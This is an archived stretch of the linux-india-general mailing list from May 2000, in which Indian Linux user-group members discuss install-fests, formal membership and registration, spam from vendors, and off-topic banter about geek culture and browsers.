sticking to a text-console based install. The Caldera boxed set and demonstration CDs (provided by Caldera dealers KCG Ltd.), as well as the SuSE 6.4 CDs brought by Maneesh vanished into backpacks and pockets with usual speed. A motion thanking Lateral Software and OS4 for their support during the PCQ Expo was tabled and passed unanimously (come on fellow, next we'll have an account of rioting in the aisles over distribution loyalties, and the assembly being adjourned sine die ! :). With the installs proceeding in the background (in this case, literally and figuratively !), the assembled group broke up into smaller clusters, for intense discussions on varied topics, the groups meandering out into the night. It did resemble some of our earlier sessions in this aspect. Prior to the onset of darkness, and when a sizable fraction of people were still present, Zameer's DLR captured a few photographs. We'll hopefully be able to put them up on the site soon. ---------- -arun -- arun krishnaswamy http://prometheus.home.dhs.org PGP: 0x5606B2B1 GPG: 1024D/C75FD05C Please use my address. The giasmda address expires in June 2000. Thank you. --- Send e-mail to 'ilugc-request@aero.iitm.ernet.in' with 'unsubscribe' in either the subject or the body to unsubscribe from this list. --8N9blAALPH Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit -- Ravikant K.Rao : http://www.symonds.net/~ravi/ Primary Email : --8N9blAALPH-- From linux-india-general-owner@lists.linux-india.org Sat May 20 22:12:02 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 48B0D380C3 for ; Fri, 19 May 2000 05:06:51 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id RAAAA13291; Fri, 19 May 2000 17:36:21 +0530 (IST) Date: Fri, 19 May 2000 17:36:21 +0530 From: Suresh Ramasubramanian To: Subash Cc: linux-india-general@lists.linux-india.org Subject: Re: reading habits of linux geeks Message-ID: <20000519173621.A13098@staff.juno.com> Mail-Followup-To: Subash , linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <39252DE8.D7ADBD10@satyam.net.in>; from subashj@satyam.net.in on Fri, May 19, 2000 at 05:34:56PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/75 Subash saw fit to inform LI that: >no probs. personally i am not disposed to starting a list or >initiating a discussion on tolkien. i was just responding to There are enough of them though :) I suppose, as Juno gives me free access to a 2 mbps line, I can subscribe to a few more groups here and there ... (just started infesting mutt-users) :) -- Suresh Ramasubramanian | sureshr at staff.juno.com Brain, n.: The apparatus with which we think that we think. -- Ambrose Bierce, "The Devil's Dictionary" From linux-india-general-owner@lists.linux-india.org Sun May 21 05:35:05 2000 Received: from internal.palcom.net (unknown [203.197.220.133]) by www.aunet.org (Postfix) with ESMTP id 73D8C38052 for ; Sun, 21 May 2000 05:34:58 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id SAA27880; Sun, 21 May 2000 18:04:55 +0530 From: Raju Mathur Message-ID: <14631.55279.859769.764871@malhaar.internal.palcom.net> Date: Sun, 21 May 2000 18:04:55 +0530 (IST) To: linux-india-general@lists.linux-india.org Subject: Inprise Borland spam again X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: text/plain; charset=US-ASCII X-Archive-Number: 200005/76 Those SOB's are at it again. *Shrug* back to kernels and boink, while hopefully Suresh gets them RBL'd. -- Raju From linux-india-general-owner@lists.linux-india.org Sun May 21 05:39:02 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id ED23638066 for ; Sun, 21 May 2000 05:38:54 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id SAAAA25386; Sun, 21 May 2000 18:08:31 +0530 (IST) Date: Sun, 21 May 2000 18:08:31 +0530 From: Suresh Ramasubramanian To: Raju Mathur Cc: linux-india-general@lists.linux-india.org Subject: Re: Inprise Borland spam again Message-ID: <20000521180831.E23588@staff.juno.com> Mail-Followup-To: Raju Mathur , linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <14631.55279.859769.764871@malhaar.internal.palcom.net>; from raju@linux-delhi.org on Sun, May 21, 2000 at 06:04:55PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/77 Raju Mathur saw fit to inform LI that: >Those SOB's are at it again. *Shrug* back to kernels and boink, while >hopefully Suresh gets them RBL'd. As I haven't got the spam yet, I can't do a damned thing. Or at least post full headers to me offlist, will you? [all those who got it] -s -- Suresh Ramasubramanian | sureshr at staff.juno.com Maybe Computer Science should be in the College of Theology. -- R. S. Barton From linux-india-general-owner@lists.linux-india.org Mon May 22 03:05:30 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id 6E71B3805E for ; Mon, 22 May 2000 03:05:20 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id PAA08477 for ; Mon, 22 May 2000 15:34:33 +0530 Date: Mon, 22 May 2000 15:34:33 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Formal Member Registration Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/78 All: ILUG-Bangalore is growing rapidly. With 300++ members and more joing daily, and with all the activities here (probably making it the largest and most active ILUG in India), I have proposed that we should now start looking at a formal membership process. ILUG Bangalore will be involved in several big events in the coming months, so it is important that we get this done and get this done right ASAP. Since I would like to see uniformity across the country, I thought I'd kick off a discussion here to see what other people have to say about it. What should this formal membership process entail? Some form of membership fee, a membership card, etc? There have been proposals of differential membership fees (student/non-student) but since I am *not* talking about a 100K joining fee, I don't think that is feasible or even desirable. What says the group? Atul -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Mon May 22 03:11:28 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 1AEC43805D for ; Mon, 22 May 2000 03:11:20 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id PAAAA02395; Mon, 22 May 2000 15:40:33 +0530 (IST) Date: Mon, 22 May 2000 15:40:33 +0530 From: Suresh Ramasubramanian To: Atul Chitnis Cc: Linux India General Subject: Re: Formal Member Registration Message-ID: <20000522154033.B28551@staff.juno.com> Mail-Followup-To: Atul Chitnis , Linux India General Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from achitnis@exocore.com on Mon, May 22, 2000 at 03:34:33PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/79 Atul Chitnis saw fit to inform LI that: >What should this formal membership process entail? Some form of membership >fee, a membership card, etc? There have been proposals of differential As you are already charging a per-meeting fee at BLUG, I suppose this can be substituted with a regular membership fee - that can build a club corpus. Good idea in fact. However, if you do all this, you have to (if you haven't yet) get yourself registered as a non profit club / society (yeah, red tape, but still ...), file a formal club charter with them etc. >membership fees (student/non-student) but since I am *not* talking about a >100K joining fee, I don't think that is feasible or even desirable. Charge enough to cover expenses (meeting place, food etc) plus a little something extra. -- Suresh Ramasubramanian | sureshr at staff.juno.com Green light in a.m. for new projects. Red light in P.M. for traffic tickets. From linux-india-general-owner@lists.linux-india.org Mon May 22 03:26:25 2000 Received: from web207.mail.yahoo.com (web207.mail.yahoo.com [128.11.68.107]) by www.aunet.org (Postfix) with SMTP id 38E8D3805D for ; Mon, 22 May 2000 03:26:20 -0700 (PDT) Received: (qmail 12381 invoked by uid 60001); 22 May 2000 10:26:19 -0000 Message-ID: <20000522102619.12380.qmail@web207.mail.yahoo.com> Received: from [202.54.89.136] by web207.mail.yahoo.com; Mon, 22 May 2000 03:26:19 PDT Date: Mon, 22 May 2000 03:26:19 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: Re: Formal Member Registration To: Atul Chitnis , Linux India General MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/80 --- Atul Chitnis wrote: > I have proposed that we should now start looking at a formal > membership process. > > Since I would like to see uniformity across the country, I thought > I'd kick off a discussion here to see what other people have to say > about it. > > What should this formal membership process entail? I posted a reply on the blr list, I guess that I should repost it here too... :-( The formal approach has it's disadvantages - notably the tendency for politics over organisational posts and so on. The usual thing that happens is that the initial moving forces are either accused of being glory-seekers and are deposed or become despotic in their control of group policies. The only remedy for this is complete transperancy of all administrative activities. A first step for this would be to post some draft rules for discussion. Biju ===== ------------------------------------------------------------ Biju "Botsie" Chacko Murphy's Law of File Transfers: If a file takes more than 30 minutes to download, someone in your house will pick up the phone within the last 15 seconds. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Mon May 22 03:29:24 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 4BE1238087 for ; Mon, 22 May 2000 03:29:17 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id PAAAA03693; Mon, 22 May 2000 15:58:54 +0530 (IST) Date: Mon, 22 May 2000 15:58:54 +0530 From: Suresh Ramasubramanian To: botsie@mail.com Cc: Atul Chitnis , Linux India General Subject: Re: Formal Member Registration Message-ID: <20000522155854.D28551@staff.juno.com> Mail-Followup-To: botsie@mail.com, Atul Chitnis , Linux India General Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000522102619.12380.qmail@web207.mail.yahoo.com>; from biju_chacko@yahoo.com on Mon, May 22, 2000 at 03:26:19AM -0700 Organization: Juno Abuse Desk X-Archive-Number: 200005/81 Biju Chacko saw fit to inform LI that: >The formal approach has it's disadvantages - notably the tendency for >politics over organisational posts and so on. The usual thing that >happens is that the initial moving forces are either accused of being >glory-seekers and are deposed or become despotic in their control of >group policies. Atul's had this experience several times, and doesn't like it IIRC. You _do_ have a point there. However, there's a stage beyond which this can't be avoided. > >The only remedy for this is complete transperancy of all administrative >activities. A first step for this would be to post some draft rules for >discussion. > Even the RFCs start that way :) -- Suresh Ramasubramanian | sureshr at staff.juno.com Green light in a.m. for new projects. Red light in P.M. for traffic tickets. From linux-india-general-owner@lists.linux-india.org Mon May 22 04:56:01 2000 Received: from hbcse.tifr.res.in (unknown [158.144.44.129]) by www.aunet.org (Postfix) with ESMTP id 090C73806C for ; Mon, 22 May 2000 04:55:54 -0700 (PDT) Received: from localhost (nagarjun@localhost) by hbcse.tifr.res.in (8.9.3/8.9.3) with ESMTP id RAA10906 for ; Mon, 22 May 2000 17:25:08 +0530 Date: Mon, 22 May 2000 17:25:06 +0530 (IST) From: "Nagarjuna G." To: Linux India General Subject: Re: Formal Member Registration In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/82 On Mon, 22 May 2000, Atul Chitnis wrote: ->Since I would like to see uniformity across the country, I thought I'd ->kick off a discussion here to see what other people have to say about it. -> ILUG-BOM is also growing very fast. Presently our mailing list has about 200 subscribtions. In our recent meeting we have decided to have two kinds of membership for ILUG-BOM. Basic membership is open for all, all linux enthusiasts can attend meetings, participate in the email list etc. But all members will have to fill a form at the website by accepting the guidelines, objectives etc. This will be activated soon. Second membership is a resource membership. Those who would like to share the common resources ILUG-BOM has: such as CDs, Magazines etc. For resource membership there will be some fees. The amount has not been decided yet. It is also decided that ILUG-BOM will soon be registering as a non-profit making society. This has become necessary because there are increasing number of requests for training workshops, etc from organizations. And they would like to contribute for the organization. Recently ILUG-BOM has conducted a three day orientation course for the employees of Tata Interactive Systems. The course went on well. Since we are not registered we could not even accept any nominal fee. They are however giving honorariam to all the speakers. It will be good, if all the LUGs have a commom format and mode of functionality. So other LUGs let us know what you are all doing, apart from ILUG-Bang. Nagarjuna cc: visit our new website: http://www.ilug-bom.org.in, though it is still being developed. From linux-india-general-owner@lists.linux-india.org Mon May 22 05:37:16 2000 Received: from agni.dsil.danlawinc.com (unknown [196.12.38.2]) by www.aunet.org (Postfix) with ESMTP id 0FEA638080 for ; Mon, 22 May 2000 05:37:02 -0700 (PDT) Received: from localhost.localdomain (LOCALHOST [196.12.38.166]) by agni.dsil.danlawinc.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id LF23DSG0; Mon, 22 May 2000 18:07:59 +0530 From: nageswarap Organization: Danlaw Tech. To: Suresh Ramasubramanian , botsie@mail.com Subject: Re: Formal Member Registration Date: Mon, 22 May 2000 18:00:35 +0700 X-Mailer: KMail [version 1.0.20] Content-Type: text/plain Cc: Atul Chitnis , Linux India General MIME-Version: 1.0 Message-Id: <00052218020001.01240@localhost.localdomain> Content-Transfer-Encoding: 8bit X-Archive-Number: 200005/83 how to retrieve files which r deleted by the command rm * in user mode .. Thanks in advance mogli. From linux-india-general-owner@lists.linux-india.org Mon May 22 05:43:23 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id D46AA38065 for ; Mon, 22 May 2000 05:43:11 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id SAA09229 for ; Mon, 22 May 2000 18:12:31 +0530 Date: Mon, 22 May 2000 18:12:31 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Formal Member Registration In-Reply-To: <00052218020001.01240@localhost.localdomain> Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/84 Hi, wrong list. Please ask this question on the linux-india-help list (details at http://lists.linux-india.org). Atul On Mon, 22 May 2000, nageswarap wrote: > how to retrieve files which r deleted by the command > rm * in user mode .. > Thanks in advance > mogli. > > ----------------------------------------------------------------------- > LIG is all for free speech. But it was created for a purpose - to > discuss general issues about Linux. If your messages are > counterproductive to this purpose, your privileges to submit > messages can and will be revoked. > -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Mon May 22 07:14:12 2000 Received: from md4.vsnl.net.in (md4.vsnl.net.in [202.54.6.60]) by www.aunet.org (Postfix) with ESMTP id E3BE738073 for ; Mon, 22 May 2000 07:14:04 -0700 (PDT) Received: from localhost.localdomain ([203.197.135.203]) by md4.vsnl.net.in (8.9.3/8.9.3) with ESMTP id TAA27461 for ; Mon, 22 May 2000 19:49:30 +0530 (IST) Received: (from g@localhost) by localhost.localdomain (8.9.3/8.9.3) id TAA00592 for linux-india-general@lists.linux-india.org; Mon, 22 May 2000 19:41:05 +0530 Date: Mon, 22 May 2000 19:41:05 +0530 From: G Gautam To: linux-india-general@lists.linux-india.org Subject: Re: Formal Member Registration Message-ID: <20000522194105.B553@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In-Reply-To: ; from achitnis@exocore.com on Mon, May 22, 2000 at 03:34:33PM +0530 X-Mailer: Mutt 1.1.2i on RedHat Linux 6.1 X-Archive-Number: 200005/85 Hi, On May 22, Atul Chitnis wrote: > > ILUG Bangalore will be involved in several big events in the coming > months, so it is important that we get this done and get this done right > ASAP. I don't know how this sounds, but maybe we must start saying "This stall is manned by the `city` members of Linux India" rather than "This stall is manned by `city`-ilug". That way people will start to know, if they don't already, that there is a national orgn. rather than just a citywide movement. So maybe we could register LI as a non-profit orgn. and have a common membership throughout the country. It may not be nice for a person to join the citylug every time they migrate/move to another city. Maybe the membership could be based on the first city, but valid throughout India. > > Since I would like to see uniformity across the country, I thought I'd > kick off a discussion here to see what other people have to say about it. Also, by this membership, we must encourage as many to contribute time & expertise to the cause rather than money. It does sound utopian, but... Maybe we could have one common treasure chest with contributions from all the cities under the control of LI. One treasurer per city could authorize expenditure for that city. We also could have schemes in which strain on the purse could be reduced, in exchange for commitments like talks to other orgns, telephone support, etc. But this is really not enforcible, is it? We could also organize contests, to encourage participation from curious non-members, of course complete with (cash, membership, name on web site) prizes. Gautam From linux-india-general-owner@lists.linux-india.org Mon May 22 10:25:38 2000 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by www.aunet.org (Postfix) with ESMTP id A6BBF3804F for ; Mon, 22 May 2000 10:25:36 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id KAA01689 for ; Mon, 22 May 2000 10:18:08 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FUZ1PI00.PKL for ; Mon, 22 May 2000 10:24:54 -0700 Message-ID: <39296D66.C5A8EAE8@netscape.com> Date: Mon, 22 May 2000 10:24:54 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org Subject: Re: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/86 Irfan Sheriff proclaimed: > Someone tail me about how ftp works tail -f Irfan Thaths PS: Time for linux-india-humor? ;-) -- Homer: Good old Evergreen Terrace: the swankiest street in the classiest part of Pressboard Estates. Bart: Well if you love it so much, why are you always littering? Homer: It's easier, duh. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Mon May 22 10:28:14 2000 Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by www.aunet.org (Postfix) with ESMTP id F2F78380F9 for ; Mon, 22 May 2000 10:28:12 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id KAA29684 for ; Mon, 22 May 2000 10:24:29 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FUZ1UZ00.WIK for ; Mon, 22 May 2000 10:28:11 -0700 Message-ID: <39296E2B.5D4D44FE@netscape.com> Date: Mon, 22 May 2000 10:28:11 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] Fwd: Kylix Kickoff Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/87 Suresh Ramasubramanian proclaimed: > IIRC, they have an account gtcdrom@vsnl.com subscribed to LIH, to which > they post periodic pricelists etc (and even remember to add a commercial > tag for each post these days) :) They have been good aboutthe COMMERCIAL tag. > If you are also being contacted offlist despite repeated requests, it is > clearly spam, and you have two options -- > > 1. Block gtcdrom@vsnl.com from the LIH list (pity, as they are Cheapbytes > affiliates in India) and put this addy and gtcdrom.com (their domain) in > your /etc/mail/deny.db (oh hell, you're running postfix, right - do the > equivalent thing in postfix) That, IMO, is overkill. I haven't complained much about GT Enterprises because they are doing a good job with supplying India with CDs and it only takes me a few seconds to delete their spam. Thaths -- Homer: Good old Evergreen Terrace: the swankiest street in the classiest part of Pressboard Estates. Bart: Well if you love it so much, why are you always littering? Homer: It's easier, duh. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Mon May 22 10:37:22 2000 Received: from bom8.vsnl.net.in (bom8.vsnl.net.in [202.54.4.125]) by www.aunet.org (Postfix) with ESMTP id 2621238065 for ; Mon, 22 May 2000 10:37:16 -0700 (PDT) Received: from fangorn.localdomain ([202.54.0.47]) by bom8.vsnl.net.in (8.9.2/8.9.2) with SMTP id XAA02564 for ; Mon, 22 May 2000 23:03:37 +0500 (GMT+0500) From: Devdas Bhagat Reply-To: dodobh@nettaxi.com To: linux-india-general@lists.linux-india.org Subject: Re: Date: Mon, 22 May 2000 23:03:24 +0600 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain In-Reply-To: <39296D66.C5A8EAE8@netscape.com> MIME-Version: 1.0 Message-Id: <00052223075600.00752@fangorn.localdomain> Content-Transfer-Encoding: 8bit X-Archive-Number: 200005/88 On Mon, 22 May 2000, Sudhakar Chandra wrote: > PS: Time for linux-india-humor? ;-) How about Linux-India-Offtopic? :-). Plenty of grist for the mill (BeOS, NT, Tolkien...) Devdas Bhagat ps, how about fixing the reply-to line? I hate replying to personal addresses when I am replying to the list -- How can you govern a nation which has 246 kinds of cheese? -- Charles de Gaulle From linux-india-general-owner@lists.linux-india.org Mon May 22 10:50:18 2000 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by www.aunet.org (Postfix) with ESMTP id 408913806A; Mon, 22 May 2000 10:50:10 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id KAA05630; Mon, 22 May 2000 10:43:22 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FUZ2VL01.YKE; Mon, 22 May 2000 10:50:09 -0700 Message-ID: <39297350.294D3843@netscape.com> Date: Mon, 22 May 2000 10:50:08 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-help@lists.linux-india.org Cc: linux-india-general@lists.linux-india.org Subject: Re: [LIH] [OT] Linux Geek Reading Tastes (Was Re: load balancing ?) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/89 Biju Chacko proclaimed: > It's amazing, all us geeks seem to have the same reading tastes: SF & > Fantasy. I wonder why we're all attracted to it? I know this is OT. I know some have complained. But I am going to get my 2c in anyway. I was away from email for almost a week. so this response is a bit late. I've been very interested in Geek culture and perceptions of geeks for over 4 years now. One thing I've noticed is that geeks differ from country to country. Even in the US, geeks in the west coast look and act different from the geeks in the east coast. Here are some of my observations: * Geeks in the US tend to be over-the-average-weight, bearded / long haired (generally unkempt) social misfits. In India they tend to be skinny, bespectacled and more conformistic and socially - adjusted. * Geeks in the US are perceived as weirdos by many. Geeks in India are actually looked up to (high grades, good job etc.). * A classic example is when Udhay and I met a fellow geek for a beer one night. Udhay, who was visiting the Bay Area for a while, is a skinny socially-well-adjusted person (You are welcome, Udhay). This geek we met was overweight, beareded (?) and mal-adjusted. * Geeks tend to use SF / fantasy as an escape from reality. (I'll probably be boo-ed off stage for this). Thaths -- Homer: Good old Evergreen Terrace: the swankiest street in the classiest part of Pressboard Estates. Bart: Well if you love it so much, why are you always littering? Homer: It's easier, duh. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Mon May 22 10:58:07 2000 Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by www.aunet.org (Postfix) with ESMTP id EC18C38065 for ; Mon, 22 May 2000 10:55:41 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id KAA04134 for ; Mon, 22 May 2000 10:51:59 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FUZ34T01.BK9; Mon, 22 May 2000 10:55:41 -0700 Message-ID: <3929749D.DE2E9837@netscape.com> Date: Mon, 22 May 2000 10:55:41 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: dodobh@nettaxi.com Cc: linux-india-general@lists.linux-india.org Subject: Re: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/90 Devdas Bhagat proclaimed: > ps, how about fixing the reply-to line? I hate replying to personal > addresses when I am replying to the list That is not a bug. It is a feature. Thaths -- Homer: Good old Evergreen Terrace: the swankiest street in the classiest part of Pressboard Estates. Bart: Well if you love it so much, why are you always littering? Homer: It's easier, duh. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Mon May 22 14:28:48 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 32F4438066 for ; Mon, 22 May 2000 14:28:42 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id OAA09947 for linux-india-general@lists.linux-india.org; Mon, 22 May 2000 14:28:17 -0700 Date: Mon, 22 May 2000 14:28:17 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: Re: [LIH] [OT] Linux Geek Reading Tastes (Was Re: load balancing ?) Message-ID: <20000522142817.A9925@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <39297350.294D3843@netscape.com>; from Sudhakar Chandra on Mon, May 22, 2000 at 10:50:08AM -0700 X-Archive-Number: 200005/91 On Mon, May 22, 2000 at 10:50:08AM -0700, Sudhakar Chandra wrote: > > * Geeks tend to use SF / fantasy as an escape from reality. (I'll probably > be boo-ed off stage for this). Oh, do you want to see the matrix ? od -x /dev/urandom :) Somehow when the geeks go to hollywood, they lose all their weight and start practicing kung fu :) -Arun From linux-india-general-owner@lists.linux-india.org Mon May 22 17:01:11 2000 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by www.aunet.org (Postfix) with ESMTP id 4B87E38066 for ; Mon, 22 May 2000 17:01:06 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id QAA01942 for ; Mon, 22 May 2000 16:54:16 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FUZK1R01.M1T for ; Mon, 22 May 2000 17:01:03 -0700 Message-ID: <3929CA3F.1D2504CB@netscape.com> Date: Mon, 22 May 2000 17:01:03 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] [OT] Linux Geek Reading Tastes (Was Re: load balancing ?) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/92 Sudhakar Chandra proclaimed: > * Geeks in the US tend to be over-the-average-weight, bearded / long haired > (generally unkempt) social misfits. In India they tend to be skinny, > bespectacled and more conformistic and socially - adjusted. My friend (to whom I forwarded Subhash's email) said it best: "or maybe because it's easier to learn the Sacred Songs of Nine from the High Elvish lore tomes of Arkelon than to talk to girls." Thaths -- Homer: Good old Evergreen Terrace: the swankiest street in the classiest part of Pressboard Estates. Bart: Well if you love it so much, why are you always littering? Homer: It's easier, duh. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Mon May 22 17:46:34 2000 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by www.aunet.org (Postfix) with ESMTP id 49E6338117 for ; Mon, 22 May 2000 17:46:29 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id RAA07648 for ; Mon, 22 May 2000 17:39:40 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FUZM5E01.P31; Mon, 22 May 2000 17:46:26 -0700 Message-ID: <3929D4E1.D8030EE5@netscape.com> Date: Mon, 22 May 2000 17:46:25 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org, ravikant@mailandnews.com Subject: Re: [LIP] Browser Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/93 [Moving to LIG. Cc-ing Ravikant. Is he also in LIG?] "Ravikant K.Rao" proclaimed: > As for JavaScript/Java Applets -- its a purely personal Choice > .. this browser thing... you should really be using what you want/are > comfortable with -- *I* personally don't dabble with frames/java > script -- infact, so much so is my aversion to all this that I refuse > to look at any page that is lynx-incompatible. Read the article by ESR > where he says/advocates all this with reasons/backing -- ESR also happens to use JavaScript in his pages. When I emailed him pointing out this apparent contradiction he weasled out by saying that since JavaScript was accepted as a standard (ECMAScript), it was fine to use JS on pages. JS is actually a *very useful* scripting language from the perspective of web site developers. It is also widely used (50-times more widelly than VBScript, for example) than any other scripting language on the client side. JS was developed and manitained by some of the best brains in the industry (Brendan Eich, Mike Shaver etc.) > Lynx is *NOT* a memory hog Agree. But many many sites look crappy on it. You'd have to scroll down at least one page in a regular xterm window before you can actually see your results on 